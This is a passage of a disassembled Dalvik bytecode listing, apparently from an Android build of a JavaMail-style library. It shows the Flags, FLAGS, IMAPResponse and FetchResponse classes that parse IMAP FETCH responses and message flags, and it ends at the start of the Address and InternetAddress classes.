0000001A if-eqz v1, :3E
:1E
0000001E iget-object v1, p0, Flags->user_flags:Hashtable
00000022 if-eqz v1, :14
:26
00000026 iget-object v1, p1, Flags->user_flags:Hashtable
0000002A invoke-virtual Hashtable->keys()Enumeration, v1
00000030 move-result-object v1
:32
00000032 invoke-interface Enumeration->hasMoreElements()Z, v1
00000038 move-result v2
0000003A if-nez v2, :42
:3E
0000003E const/4 v0, 0x1
00000040 goto :14
:42
00000042 iget-object v2, p0, Flags->user_flags:Hashtable
00000046 invoke-interface Enumeration->nextElement()Object, v1
0000004C move-result-object v3
0000004E invoke-virtual Hashtable->containsKey(Object)Z, v2, v3
00000054 move-result v2
00000056 if-nez v2, :32
:5A
0000005A goto :14
.end method
.method public equals(Object)Z
.registers 7
00000000 const/4 v1, 0x1
00000002 const/4 v0, 0x0
00000004 instance-of v2, p1, Flags
00000008 if-nez v2, :E
:C
0000000C return v0
:E
0000000E check-cast p1, Flags
00000012 iget v2, p1, Flags->system_flags:I
00000016 iget v3, p0, Flags->system_flags:I
0000001A if-ne v2, v3, :C
:1E
0000001E iget-object v2, p1, Flags->user_flags:Hashtable
00000022 if-nez v2, :32
:26
00000026 iget-object v2, p0, Flags->user_flags:Hashtable
0000002A if-nez v2, :32
:2E
0000002E move v0, v1
00000030 goto :C
:32
00000032 iget-object v2, p1, Flags->user_flags:Hashtable
00000036 if-eqz v2, :C
:3A
0000003A iget-object v2, p0, Flags->user_flags:Hashtable
0000003E if-eqz v2, :C
:42
00000042 iget-object v2, p1, Flags->user_flags:Hashtable
00000046 invoke-virtual Hashtable->size()I, v2
0000004C move-result v2
0000004E iget-object v3, p0, Flags->user_flags:Hashtable
00000052 invoke-virtual Hashtable->size()I, v3
00000058 move-result v3
0000005A if-ne v2, v3, :C
:5E
0000005E iget-object v2, p1, Flags->user_flags:Hashtable
00000062 invoke-virtual Hashtable->keys()Enumeration, v2
00000068 move-result-object v2
:6A
0000006A invoke-interface Enumeration->hasMoreElements()Z, v2
00000070 move-result v3
00000072 if-nez v3, :7A
:76
00000076 move v0, v1
00000078 goto :C
:7A
0000007A iget-object v3, p0, Flags->user_flags:Hashtable
0000007E invoke-interface Enumeration->nextElement()Object, v2
00000084 move-result-object v4
00000086 invoke-virtual Hashtable->containsKey(Object)Z, v3, v4
0000008C move-result v3
0000008E if-nez v3, :6A
:92
00000092 goto :C
.end method
.method public getSystemFlags()[Flags$Flag
.registers 4
00000000 new-instance v0, Vector
00000004 invoke-direct Vector-><init>()V, v0
0000000A iget v1, p0, Flags->system_flags:I
0000000E and-int/lit8 v1, v1, 0x1
00000012 if-eqz v1, :20
:16
00000016 sget-object v1, Flags$Flag->ANSWERED:Flags$Flag
0000001A invoke-virtual Vector->addElement(Object)V, v0, v1
:20
00000020 iget v1, p0, Flags->system_flags:I
00000024 and-int/lit8 v1, v1, 0x2
00000028 if-eqz v1, :36
:2C
0000002C sget-object v1, Flags$Flag->DELETED:Flags$Flag
00000030 invoke-virtual Vector->addElement(Object)V, v0, v1
:36
00000036 iget v1, p0, Flags->system_flags:I
0000003A and-int/lit8 v1, v1, 0x4
0000003E if-eqz v1, :4C
:42
00000042 sget-object v1, Flags$Flag->DRAFT:Flags$Flag
00000046 invoke-virtual Vector->addElement(Object)V, v0, v1
:4C
0000004C iget v1, p0, Flags->system_flags:I
00000050 and-int/lit8 v1, v1, 0x8
00000054 if-eqz v1, :62
:58
00000058 sget-object v1, Flags$Flag->FLAGGED:Flags$Flag
0000005C invoke-virtual Vector->addElement(Object)V, v0, v1
:62
00000062 iget v1, p0, Flags->system_flags:I
00000066 and-int/lit8 v1, v1, 0x10
0000006A if-eqz v1, :78
:6E
0000006E sget-object v1, Flags$Flag->RECENT:Flags$Flag
00000072 invoke-virtual Vector->addElement(Object)V, v0, v1
:78
00000078 iget v1, p0, Flags->system_flags:I
0000007C and-int/lit8 v1, v1, 0x20
00000080 if-eqz v1, :8E
:84
00000084 sget-object v1, Flags$Flag->SEEN:Flags$Flag
00000088 invoke-virtual Vector->addElement(Object)V, v0, v1
:8E
0000008E iget v1, p0, Flags->system_flags:I
00000092 const/high16 v2, 0xFFFFFFFF80000000
00000096 and-int/2addr v1, v2
00000098 if-eqz v1, :A6
:9C
0000009C sget-object v1, Flags$Flag->USER:Flags$Flag
000000A0 invoke-virtual Vector->addElement(Object)V, v0, v1
:A6
000000A6 invoke-virtual Vector->size()I, v0
000000AC move-result v1
000000AE new-array v1, v1, [Flags$Flag
000000B2 invoke-virtual Vector->copyInto([Object)V, v0, v1
000000B8 return-object v1
.end method
.method public getUserFlags()[String
.registers 4
00000000 new-instance v0, Vector
00000004 invoke-direct Vector-><init>()V, v0
0000000A iget-object v1, p0, Flags->user_flags:Hashtable
0000000E if-eqz v1, :2A
:12
00000012 iget-object v1, p0, Flags->user_flags:Hashtable
00000016 invoke-virtual Hashtable->elements()Enumeration, v1
0000001C move-result-object v1
:1E
0000001E invoke-interface Enumeration->hasMoreElements()Z, v1
00000024 move-result v2
00000026 if-nez v2, :3E
:2A
0000002A invoke-virtual Vector->size()I, v0
00000030 move-result v1
00000032 new-array v1, v1, [String
00000036 invoke-virtual Vector->copyInto([Object)V, v0, v1
0000003C return-object v1
:3E
0000003E invoke-interface Enumeration->nextElement()Object, v1
00000044 move-result-object v2
00000046 invoke-virtual Vector->addElement(Object)V, v0, v2
0000004C goto :1E
.end method
.method public hashCode()I
.registers 4
00000000 iget v0, p0, Flags->system_flags:I
00000004 iget-object v1, p0, Flags->user_flags:Hashtable
00000008 if-eqz v1, :42
:C
0000000C iget-object v1, p0, Flags->user_flags:Hashtable
00000010 invoke-virtual Hashtable->keys()Enumeration, v1
00000016 move-result-object v2
00000018 move v1, v0
:1A
0000001A invoke-interface Enumeration->hasMoreElements()Z, v2
00000020 move-result v0
00000022 if-nez v0, :28
:26
00000026 return v1
:28
00000028 invoke-interface Enumeration->nextElement()Object, v2
0000002E move-result-object v0
00000030 check-cast v0, String
00000034 invoke-virtual String->hashCode()I, v0
0000003A move-result v0
0000003C add-int/2addr v0, v1
0000003E move v1, v0
00000040 goto :1A
:42
00000042 move v1, v0
00000044 goto :26
.end method
.method public remove(String)V
.registers 4
00000000 iget-object v0, p0, Flags->user_flags:Hashtable
00000004 if-eqz v0, :1E
:8
00000008 iget-object v0, p0, Flags->user_flags:Hashtable
0000000C sget-object v1, Locale->ENGLISH:Locale
00000010 invoke-virtual String->toLowerCase(Locale)String, p1, v1
00000016 move-result-object v1
00000018 invoke-virtual Hashtable->remove(Object)Object, v0, v1
:1E
0000001E return-void
.end method
.method public remove(Flags$Flag)V
.registers 4
00000000 iget v0, p0, Flags->system_flags:I
00000004 invoke-static Flags$Flag->access$0(Flags$Flag)I, p1
0000000A move-result v1
0000000C xor-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
00000010 and-int/2addr v0, v1
00000012 iput v0, p0, Flags->system_flags:I
00000016 return-void
.end method
.method public remove(Flags)V
.registers 5
00000000 iget v0, p0, Flags->system_flags:I
00000004 iget v1, p1, Flags->system_flags:I
00000008 xor-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
0000000C and-int/2addr v0, v1
0000000E iput v0, p0, Flags->system_flags:I
00000012 iget-object v0, p1, Flags->user_flags:Hashtable
00000016 if-eqz v0, :22
:1A
0000001A iget-object v0, p0, Flags->user_flags:Hashtable
0000001E if-nez v0, :24
:22
00000022 return-void
:24
00000024 iget-object v0, p1, Flags->user_flags:Hashtable
00000028 invoke-virtual Hashtable->keys()Enumeration, v0
0000002E move-result-object v0
:30
00000030 invoke-interface Enumeration->hasMoreElements()Z, v0
00000036 move-result v1
00000038 if-eqz v1, :22
:3C
0000003C iget-object v1, p0, Flags->user_flags:Hashtable
00000040 invoke-interface Enumeration->nextElement()Object, v0
00000046 move-result-object v2
00000048 invoke-virtual Hashtable->remove(Object)Object, v1, v2
0000004E goto :30
.end method
#--------------------------------------------------------------------------------
.class public FLAGS
.super Flags
.source ""
.implements Item
.field static final name:[C = null
.field private static final serialVersionUID:J = 0x617D1827C5428FEL
.field public msgno:I
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x5
00000002 new-array v0, v0, [C
00000006 fill-array-data v0, :14
0000000C sput-object v0, FLAGS->name:[C
00000010 return-void
00000014 .array-data 2 x 0x5
0x46
0x4C
0x41
0x47
0x53
.end array-data
.end method
.method public constructor <init>(IMAPResponse)V
.registers 9
00000000 const/4 v6, 0x2
00000002 const/4 v1, 0x0
00000004 invoke-direct Flags-><init>()V, p0
0000000A invoke-virtual IMAPResponse->getNumber()I, p1
00000010 move-result v0
00000012 iput v0, p0, FLAGS->msgno:I
00000016 invoke-virtual IMAPResponse->skipSpaces()V, p1
0000001C invoke-virtual IMAPResponse->readSimpleList()[String, p1
00000022 move-result-object v2
00000024 if-eqz v2, :30
:28
00000028 move v0, v1
:2A
0000002A array-length v3, v2
0000002C if-lt v0, v3, :32
:30
00000030 return-void
:32
00000032 aget-object v3, v2, v0
00000036 invoke-virtual String->length()I, v3
0000003C move-result v4
0000003E if-lt v4, v6, :108
:42
00000042 invoke-virtual String->charAt(I)C, v3, v1
00000048 move-result v4
0000004A const/16 v5, 0x5C
0000004E if-ne v4, v5, :108
:52
00000052 const/4 v4, 0x1
00000054 invoke-virtual String->charAt(I)C, v3, v4
0000005A move-result v4
0000005C invoke-static Character->toUpperCase(C)C, v4
00000062 move-result v4
00000064 sparse-switch v4, :110
:6A
0000006A invoke-virtual FLAGS->add(String)V, p0, v3
:70
00000070 add-int/lit8 v0, v0, 0x1
00000074 goto :2A
:76
00000076 sget-object v3, Flags$Flag->SEEN:Flags$Flag
0000007A invoke-virtual FLAGS->add(Flags$Flag)V, p0, v3
00000080 goto :70
:82
00000082 sget-object v3, Flags$Flag->RECENT:Flags$Flag
00000086 invoke-virtual FLAGS->add(Flags$Flag)V, p0, v3
0000008C goto :70
:8E
0000008E invoke-virtual String->length()I, v3
00000094 move-result v4
00000096 const/4 v5, 0x3
00000098 if-lt v4, v5, :DC
:9C
0000009C invoke-virtual String->charAt(I)C, v3, v6
000000A2 move-result v3
000000A4 const/16 v4, 0x65
000000A8 if-eq v3, v4, :B4
:AC
000000AC const/16 v4, 0x45
000000B0 if-ne v3, v4, :C0
:B4
000000B4 sget-object v3, Flags$Flag->DELETED:Flags$Flag
000000B8 invoke-virtual FLAGS->add(Flags$Flag)V, p0, v3
000000BE goto :70
:C0
000000C0 const/16 v4, 0x72
000000C4 if-eq v3, v4, :D0
:C8
000000C8 const/16 v4, 0x52
000000CC if-ne v3, v4, :70
:D0
000000D0 sget-object v3, Flags$Flag->DRAFT:Flags$Flag
000000D4 invoke-virtual FLAGS->add(Flags$Flag)V, p0, v3
000000DA goto :70
:DC
000000DC invoke-virtual FLAGS->add(String)V, p0, v3
000000E2 goto :70
:E4
000000E4 sget-object v3, Flags$Flag->ANSWERED:Flags$Flag
000000E8 invoke-virtual FLAGS->add(Flags$Flag)V, p0, v3
000000EE goto :70
:F0
000000F0 sget-object v3, Flags$Flag->FLAGGED:Flags$Flag
000000F4 invoke-virtual FLAGS->add(Flags$Flag)V, p0, v3
000000FA goto :70
:FC
000000FC sget-object v3, Flags$Flag->USER:Flags$Flag
00000100 invoke-virtual FLAGS->add(Flags$Flag)V, p0, v3
00000106 goto :70
:108
00000108 invoke-virtual FLAGS->add(String)V, p0, v3
0000010E goto :70
00000110 .sparse-switch
0x2A -> :FC
0x41 -> :E4
0x44 -> :8E
0x46 -> :F0
0x52 -> :82
0x53 -> :76
.end sparse-switch
.end method
#--------------------------------------------------------------------------------
.class public IMAPResponse
.super Response
.source ""
.field private key:String
.field private number:I
.method public constructor <init>(Protocol)V
.registers 3
00000000 invoke-direct Response-><init>(Protocol)V, p0, p1
00000006 invoke-virtual IMAPResponse->isUnTagged()Z, p0
0000000C move-result v0
0000000E if-eqz v0, :6A
:12
00000012 invoke-virtual IMAPResponse->isOK()Z, p0
00000018 move-result v0
0000001A if-nez v0, :6A
:1E
0000001E invoke-virtual IMAPResponse->isNO()Z, p0
00000024 move-result v0
00000026 if-nez v0, :6A
:2A
0000002A invoke-virtual IMAPResponse->isBAD()Z, p0
00000030 move-result v0
00000032 if-nez v0, :6A
:36
00000036 invoke-virtual IMAPResponse->isBYE()Z, p0
0000003C move-result v0
0000003E if-nez v0, :6A
:42
00000042 invoke-virtual IMAPResponse->readAtom()String, p0
00000048 move-result-object v0
0000004A iput-object v0, p0, IMAPResponse->key:String
:4E
0000004E iget-object v0, p0, IMAPResponse->key:String
00000052 invoke-static Integer->parseInt(String)I, v0
00000058 move-result v0
0000005A iput v0, p0, IMAPResponse->number:I
0000005E invoke-virtual IMAPResponse->readAtom()String, p0
00000064 move-result-object v0
00000066 iput-object v0, p0, IMAPResponse->key:String
:6A
0000006A return-void
:6C
0000006C move-exception v0
0000006E goto :6A
.catch NumberFormatException {:4E .. :6A} :6C
.end method
.method public constructor <init>(IMAPResponse)V
.registers 3
00000000 invoke-direct Response-><init>(Response)V, p0, p1
00000006 iget-object v0, p1, IMAPResponse->key:String
0000000A iput-object v0, p0, IMAPResponse->key:String
0000000E iget v0, p1, IMAPResponse->number:I
00000012 iput v0, p0, IMAPResponse->number:I
00000016 return-void
.end method
.method public static readResponse(Protocol)IMAPResponse
.registers 3
00000000 new-instance v1, IMAPResponse
00000004 invoke-direct IMAPResponse-><init>(Protocol)V, v1, p0
0000000A const-string v0, "FETCH"
0000000E invoke-virtual IMAPResponse->keyEquals(String)Z, v1, v0
00000014 move-result v0
00000016 if-eqz v0, :26
:1A
0000001A new-instance v0, FetchResponse
0000001E invoke-direct FetchResponse-><init>(IMAPResponse)V, v0, v1
:24
00000024 return-object v0
:26
00000026 move-object v0, v1
00000028 goto :24
.end method
.method public getKey()String
.registers 2
00000000 iget-object v0, p0, IMAPResponse->key:String
00000004 return-object v0
.end method
.method public getNumber()I
.registers 2
00000000 iget v0, p0, IMAPResponse->number:I
00000004 return v0
.end method
.method public keyEquals(String)Z
.registers 3
00000000 iget-object v0, p0, IMAPResponse->key:String
00000004 if-eqz v0, :1C
:8
00000008 iget-object v0, p0, IMAPResponse->key:String
0000000C invoke-virtual String->equalsIgnoreCase(String)Z, v0, p1
00000012 move-result v0
00000014 if-eqz v0, :1C
:18
00000018 const/4 v0, 0x1
:1A
0000001A return v0
:1C
0000001C const/4 v0, 0x0
0000001E goto :1A
.end method
.method public readSimpleList()[String
.registers 6
00000000 const/4 v1, 0x0
00000002 invoke-virtual IMAPResponse->skipSpaces()V, p0
00000008 iget-object v0, p0, IMAPResponse->buffer:[B
0000000C iget v2, p0, IMAPResponse->index:I
00000010 aget-byte v0, v0, v2
00000014 const/16 v2, 0x28
00000018 if-eq v0, v2, :20
:1C
0000001C move-object v0, v1
:1E
0000001E return-object v0
:20
00000020 iget v0, p0, IMAPResponse->index:I
00000024 add-int/lit8 v0, v0, 0x1
00000028 iput v0, p0, IMAPResponse->index:I
0000002C new-instance v2, Vector
00000030 invoke-direct Vector-><init>()V, v2
00000036 iget v0, p0, IMAPResponse->index:I
:3A
0000003A iget-object v3, p0, IMAPResponse->buffer:[B
0000003E iget v4, p0, IMAPResponse->index:I
00000042 aget-byte v3, v3, v4
00000046 const/16 v4, 0x29
0000004A if-ne v3, v4, :90
:4E
0000004E iget v3, p0, IMAPResponse->index:I
00000052 if-le v3, v0, :6C
:56
00000056 iget-object v3, p0, IMAPResponse->buffer:[B
0000005A iget v4, p0, IMAPResponse->index:I
0000005E invoke-static ASCIIUtility->toString([B, I, I)String, v3, v0, v4
00000064 move-result-object v0
00000066 invoke-virtual Vector->addElement(Object)V, v2, v0
:6C
0000006C iget v0, p0, IMAPResponse->index:I
00000070 add-int/lit8 v0, v0, 0x1
00000074 iput v0, p0, IMAPResponse->index:I
00000078 invoke-virtual Vector->size()I, v2
0000007E move-result v0
00000080 if-lez v0, :D0
:84
00000084 new-array v0, v0, [String
00000088 invoke-virtual Vector->copyInto([Object)V, v2, v0
0000008E goto :1E
:90
00000090 iget-object v3, p0, IMAPResponse->buffer:[B
00000094 iget v4, p0, IMAPResponse->index:I
00000098 aget-byte v3, v3, v4
0000009C const/16 v4, 0x20
000000A0 if-ne v3, v4, :C2
:A4
000000A4 iget-object v3, p0, IMAPResponse->buffer:[B
000000A8 iget v4, p0, IMAPResponse->index:I
000000AC invoke-static ASCIIUtility->toString([B, I, I)String, v3, v0, v4
000000B2 move-result-object v0
000000B4 invoke-virtual Vector->addElement(Object)V, v2, v0
000000BA iget v0, p0, IMAPResponse->index:I
000000BE add-int/lit8 v0, v0, 0x1
:C2
000000C2 iget v3, p0, IMAPResponse->index:I
000000C6 add-int/lit8 v3, v3, 0x1
000000CA iput v3, p0, IMAPResponse->index:I
000000CE goto :3A
:D0
000000D0 move-object v0, v1
000000D2 goto :1E
.end method
#--------------------------------------------------------------------------------
.class public FetchResponse
.super IMAPResponse
.source ""
.field private static final HEADER:[C
.field private static final TEXT:[C
.field private items:[Item
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x7
00000002 new-array v0, v0, [C
00000006 fill-array-data v0, :24
0000000C sput-object v0, FetchResponse->HEADER:[C
00000010 const/4 v0, 0x5
00000012 new-array v0, v0, [C
00000016 fill-array-data v0, :3C
0000001C sput-object v0, FetchResponse->TEXT:[C
00000020 return-void
00000024 .array-data 2 x 0x7
0x2E
0x48
0x45
0x41
0x44
0x45
0x52
.end array-data
0000003C .array-data 2 x 0x5
0x2E
0x54
0x45
0x58
0x54
.end array-data
.end method
.method public constructor <init>(Protocol)V
.registers 2
00000000 invoke-direct IMAPResponse-><init>(Protocol)V, p0, p1
00000006 invoke-direct FetchResponse->parse()V, p0
0000000C return-void
.end method
.method public constructor <init>(IMAPResponse)V
.registers 2
00000000 invoke-direct IMAPResponse-><init>(IMAPResponse)V, p0, p1
00000006 invoke-direct FetchResponse->parse()V, p0
0000000C return-void
.end method
.method public static getItem([Response, I, Class)Item
.registers 9
00000000 const/4 v4, 0x0
00000002 const/4 v2, 0x0
00000004 if-nez p0, :C
:8
00000008 move-object v0, v4
:A
0000000A return-object v0
:C
0000000C move v1, v2
:E
0000000E array-length v0, p0
00000010 if-lt v1, v0, :18
:14
00000014 move-object v0, v4
00000016 goto :A
:18
00000018 aget-object v0, p0, v1
0000001C if-eqz v0, :40
:20
00000020 aget-object v0, p0, v1
00000024 instance-of v0, v0, FetchResponse
00000028 if-eqz v0, :40
:2C
0000002C aget-object v0, p0, v1
00000030 check-cast v0, FetchResponse
00000034 invoke-virtual FetchResponse->getNumber()I, v0
0000003A move-result v0
0000003C if-eq v0, p1, :48
:40
00000040 add-int/lit8 v0, v1, 0x1
00000044 move v1, v0
00000046 goto :E
:48
00000048 aget-object v0, p0, v1
0000004C check-cast v0, FetchResponse
00000050 move v3, v2
:52
00000052 iget-object v5, v0, FetchResponse->items:[Item
00000056 array-length v5, v5
00000058 if-ge v3, v5, :40
:5C
0000005C iget-object v5, v0, FetchResponse->items:[Item
00000060 aget-object v5, v5, v3
00000064 invoke-virtual Class->isInstance(Object)Z, p2, v5
0000006A move-result v5
0000006C if-eqz v5, :7A
:70
00000070 iget-object v0, v0, FetchResponse->items:[Item
00000074 aget-object v0, v0, v3
00000078 goto :A
:7A
0000007A add-int/lit8 v3, v3, 0x1
0000007E goto :52
.end method
.method private match([C)Z
.registers 8
00000000 const/4 v0, 0x0
00000002 array-length v4, p1
00000004 iget v1, p0, FetchResponse->index:I
00000008 move v3, v0
:A
0000000A if-lt v3, v4, :12
:E
0000000E const/4 v0, 0x1
:10
00000010 return v0
:12
00000012 iget-object v5, p0, FetchResponse->buffer:[B
00000016 add-int/lit8 v2, v1, 0x1
0000001A aget-byte v1, v5, v1
0000001E int-to-char v1, v1
00000020 invoke-static Character->toUpperCase(C)C, v1
00000026 move-result v5
00000028 add-int/lit8 v1, v3, 0x1
0000002C aget-char v3, p1, v3
00000030 if-ne v5, v3, :10
:34
00000034 move v3, v1
00000036 move v1, v2
00000038 goto :A
.end method
.method private parse()V
.registers 5
00000000 invoke-virtual FetchResponse->skipSpaces()V, p0
00000006 iget-object v0, p0, FetchResponse->buffer:[B
0000000A iget v1, p0, FetchResponse->index:I
0000000E aget-byte v0, v0, v1
00000012 const/16 v1, 0x28
00000016 if-eq v0, v1, :48
:1A
0000001A new-instance v0, ParsingException
0000001E new-instance v1, StringBuilder
00000022 const-string v2, "error in FETCH parsing, missing \'(\' at index "
00000026 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000002C iget v2, p0, FetchResponse->index:I
00000030 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v2
00000036 move-result-object v1
00000038 invoke-virtual StringBuilder->toString()String, v1
0000003E move-result-object v1
00000040 invoke-direct ParsingException-><init>(String)V, v0, v1
00000046 throw v0
:48
00000048 new-instance v1, Vector
0000004C invoke-direct Vector-><init>()V, v1
00000052 const/4 v0, 0x0
:54
00000054 iget v2, p0, FetchResponse->index:I
00000058 add-int/lit8 v2, v2, 0x1
0000005C iput v2, p0, FetchResponse->index:I
00000060 iget v2, p0, FetchResponse->index:I
00000064 iget v3, p0, FetchResponse->size:I
00000068 if-lt v2, v3, :9A
:6C
0000006C new-instance v0, ParsingException
00000070 new-instance v1, StringBuilder
00000074 const-string v2, "error in FETCH parsing, ran off end of buffer, size "
00000078 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000007E iget v2, p0, FetchResponse->size:I
00000082 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v2
00000088 move-result-object v1
0000008A invoke-virtual StringBuilder->toString()String, v1
00000090 move-result-object v1
00000092 invoke-direct ParsingException-><init>(String)V, v0, v1
00000098 throw v0
:9A
0000009A iget-object v2, p0, FetchResponse->buffer:[B
0000009E iget v3, p0, FetchResponse->index:I
000000A2 aget-byte v2, v2, v3
000000A6 sparse-switch v2, :2C8
:AC
000000AC if-eqz v0, :B6
:B0
000000B0 invoke-virtual Vector->addElement(Object)V, v1, v0
:B6
000000B6 iget-object v2, p0, FetchResponse->buffer:[B
000000BA iget v3, p0, FetchResponse->index:I
000000BE aget-byte v2, v2, v3
000000C2 const/16 v3, 0x29
000000C6 if-ne v2, v3, :54
:CA
000000CA iget v0, p0, FetchResponse->index:I
000000CE add-int/lit8 v0, v0, 0x1
000000D2 iput v0, p0, FetchResponse->index:I
000000D6 invoke-virtual Vector->size()I, v1
000000DC move-result v0
000000DE new-array v0, v0, [Item
000000E2 iput-object v0, p0, FetchResponse->items:[Item
000000E6 iget-object v0, p0, FetchResponse->items:[Item
000000EA invoke-virtual Vector->copyInto([Object)V, v1, v0
000000F0 return-void
:F2
000000F2 sget-object v2, ENVELOPE->name:[C
000000F6 invoke-direct FetchResponse->match([C)Z, p0, v2
000000FC move-result v2
000000FE if-eqz v2, :AC
:102
00000102 iget v0, p0, FetchResponse->index:I
00000106 sget-object v2, ENVELOPE->name:[C
0000010A array-length v2, v2
0000010C add-int/2addr v0, v2
0000010E iput v0, p0, FetchResponse->index:I
00000112 new-instance v0, ENVELOPE
00000116 invoke-direct ENVELOPE-><init>(FetchResponse)V, v0, p0
0000011C goto :AC
:11E
0000011E sget-object v2, FLAGS->name:[C
00000122 invoke-direct FetchResponse->match([C)Z, p0, v2
00000128 move-result v2
0000012A if-eqz v2, :AC
:12E
0000012E iget v0, p0, FetchResponse->index:I
00000132 sget-object v2, FLAGS->name:[C
00000136 array-length v2, v2
00000138 add-int/2addr v0, v2
0000013A iput v0, p0, FetchResponse->index:I
0000013E new-instance v0, FLAGS
00000142 invoke-direct FLAGS-><init>(IMAPResponse)V, v0, p0
00000148 goto :AC
:14A
0000014A sget-object v2, INTERNALDATE->name:[C
0000014E invoke-direct FetchResponse->match([C)Z, p0, v2
00000154 move-result v2
00000156 if-eqz v2, :AC
:15A
0000015A iget v0, p0, FetchResponse->index:I
0000015E sget-object v2, INTERNALDATE->name:[C
00000162 array-length v2, v2
00000164 add-int/2addr v0, v2
00000166 iput v0, p0, FetchResponse->index:I
0000016A new-instance v0, INTERNALDATE
0000016E invoke-direct INTERNALDATE-><init>(FetchResponse)V, v0, p0
00000174 goto :AC
:176
00000176 sget-object v2, BODY->name:[C
0000017A invoke-direct FetchResponse->match([C)Z, p0, v2
00000180 move-result v2
00000182 if-eqz v2, :AC
:186
00000186 iget-object v0, p0, FetchResponse->buffer:[B
0000018A iget v2, p0, FetchResponse->index:I
0000018E add-int/lit8 v2, v2, 0x4
00000192 aget-byte v0, v0, v2
00000196 const/16 v2, 0x5B
0000019A if-ne v0, v2, :1BC
:19E
0000019E iget v0, p0, FetchResponse->index:I
000001A2 sget-object v2, BODY->name:[C
000001A6 array-length v2, v2
000001A8 add-int/2addr v0, v2
000001AA iput v0, p0, FetchResponse->index:I
000001AE new-instance v0, BODY
000001B2 invoke-direct BODY-><init>(FetchResponse)V, v0, p0
000001B8 goto/16 :AC
:1BC
000001BC sget-object v0, BODYSTRUCTURE->name:[C
000001C0 invoke-direct FetchResponse->match([C)Z, p0, v0
000001C6 move-result v0
000001C8 if-eqz v0, :1EA
:1CC
000001CC iget v0, p0, FetchResponse->index:I
000001D0 sget-object v2, BODYSTRUCTURE->name:[C
000001D4 array-length v2, v2
000001D6 add-int/2addr v0, v2
000001D8 iput v0, p0, FetchResponse->index:I
:1DC
000001DC new-instance v0, BODYSTRUCTURE
000001E0 invoke-direct BODYSTRUCTURE-><init>(FetchResponse)V, v0, p0
000001E6 goto/16 :AC
:1EA
000001EA iget v0, p0, FetchResponse->index:I
000001EE sget-object v2, BODY->name:[C
000001F2 array-length v2, v2
000001F4 add-int/2addr v0, v2
000001F6 iput v0, p0, FetchResponse->index:I
000001FA goto :1DC
:1FC
000001FC sget-object v2, RFC822SIZE->name:[C
00000200 invoke-direct FetchResponse->match([C)Z, p0, v2
00000206 move-result v2
00000208 if-eqz v2, :22A
:20C
0000020C iget v0, p0, FetchResponse->index:I
00000210 sget-object v2, RFC822SIZE->name:[C
00000214 array-length v2, v2
00000216 add-int/2addr v0, v2
00000218 iput v0, p0, FetchResponse->index:I
0000021C new-instance v0, RFC822SIZE
00000220 invoke-direct RFC822SIZE-><init>(FetchResponse)V, v0, p0
00000226 goto/16 :AC
:22A
0000022A sget-object v2, RFC822DATA->name:[C
0000022E invoke-direct FetchResponse->match([C)Z, p0, v2
00000234 move-result v2
00000236 if-eqz v2, :AC
:23A
0000023A iget v0, p0, FetchResponse->index:I
0000023E sget-object v2, RFC822DATA->name:[C
00000242 array-length v2, v2
00000244 add-int/2addr v0, v2
00000246 iput v0, p0, FetchResponse->index:I
0000024A sget-object v0, FetchResponse->HEADER:[C
0000024E invoke-direct FetchResponse->match([C)Z, p0, v0
00000254 move-result v0
00000256 if-eqz v0, :278
:25A
0000025A iget v0, p0, FetchResponse->index:I
0000025E sget-object v2, FetchResponse->HEADER:[C
00000262 array-length v2, v2
00000264 add-int/2addr v0, v2
00000266 iput v0, p0, FetchResponse->index:I
:26A
0000026A new-instance v0, RFC822DATA
0000026E invoke-direct RFC822DATA-><init>(FetchResponse)V, v0, p0
00000274 goto/16 :AC
:278
00000278 sget-object v0, FetchResponse->TEXT:[C
0000027C invoke-direct FetchResponse->match([C)Z, p0, v0
00000282 move-result v0
00000284 if-eqz v0, :26A
:288
00000288 iget v0, p0, FetchResponse->index:I
0000028C sget-object v2, FetchResponse->TEXT:[C
00000290 array-length v2, v2
00000292 add-int/2addr v0, v2
00000294 iput v0, p0, FetchResponse->index:I
00000298 goto :26A
:29A
0000029A sget-object v2, UID->name:[C
0000029E invoke-direct FetchResponse->match([C)Z, p0, v2
000002A4 move-result v2
000002A6 if-eqz v2, :AC
:2AA
000002AA iget v0, p0, FetchResponse->index:I
000002AE sget-object v2, UID->name:[C
000002B2 array-length v2, v2
000002B4 add-int/2addr v0, v2
000002B6 iput v0, p0, FetchResponse->index:I
000002BA new-instance v0, UID
000002BE invoke-direct UID-><init>(FetchResponse)V, v0, p0
000002C4 goto/16 :AC
000002C8 .sparse-switch
0x42 -> :176
0x45 -> :F2
0x46 -> :11E
0x49 -> :14A
0x52 -> :1FC
0x55 -> :29A
.end sparse-switch
.end method
.method public getItem(I)Item
.registers 3
00000000 iget-object v0, p0, FetchResponse->items:[Item
00000004 aget-object v0, v0, p1
00000008 return-object v0
.end method
.method public getItem(Class)Item
.registers 4
00000000 const/4 v0, 0x0
:2
00000002 iget-object v1, p0, FetchResponse->items:[Item
00000006 array-length v1, v1
00000008 if-lt v0, v1, :10
:C
0000000C const/4 v0, 0x0
:E
0000000E return-object v0
:10
00000010 iget-object v1, p0, FetchResponse->items:[Item
00000014 aget-object v1, v1, v0
00000018 invoke-virtual Class->isInstance(Object)Z, p1, v1
0000001E move-result v1
00000020 if-eqz v1, :2E
:24
00000024 iget-object v1, p0, FetchResponse->items:[Item
00000028 aget-object v0, v1, v0
0000002C goto :E
:2E
0000002E add-int/lit8 v0, v0, 0x1
00000032 goto :2
.end method
.method public getItemCount()I
.registers 2
00000000 iget-object v0, p0, FetchResponse->items:[Item
00000004 array-length v0, v0
00000006 return v0
.end method
#--------------------------------------------------------------------------------
.class public abstract Address
.super Object
.source ""
.implements Serializable
.field private static final serialVersionUID:J = 0xAF3277D17464DE2AL
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public abstract equals(Object)Z
.end method
.method public abstract getType()String
.end method
.method public abstract toString()String
.end method
#--------------------------------------------------------------------------------
.class public InternetAddress
.super Address
.source ""
.implements Cloneable
.field private static final rfc822phrase:String = null
.field private static final serialVersionUID:J = 0x97CFA9A447D75349L
.field private static final specialsNoDot:String = "()<>,;:\\\"[]@"
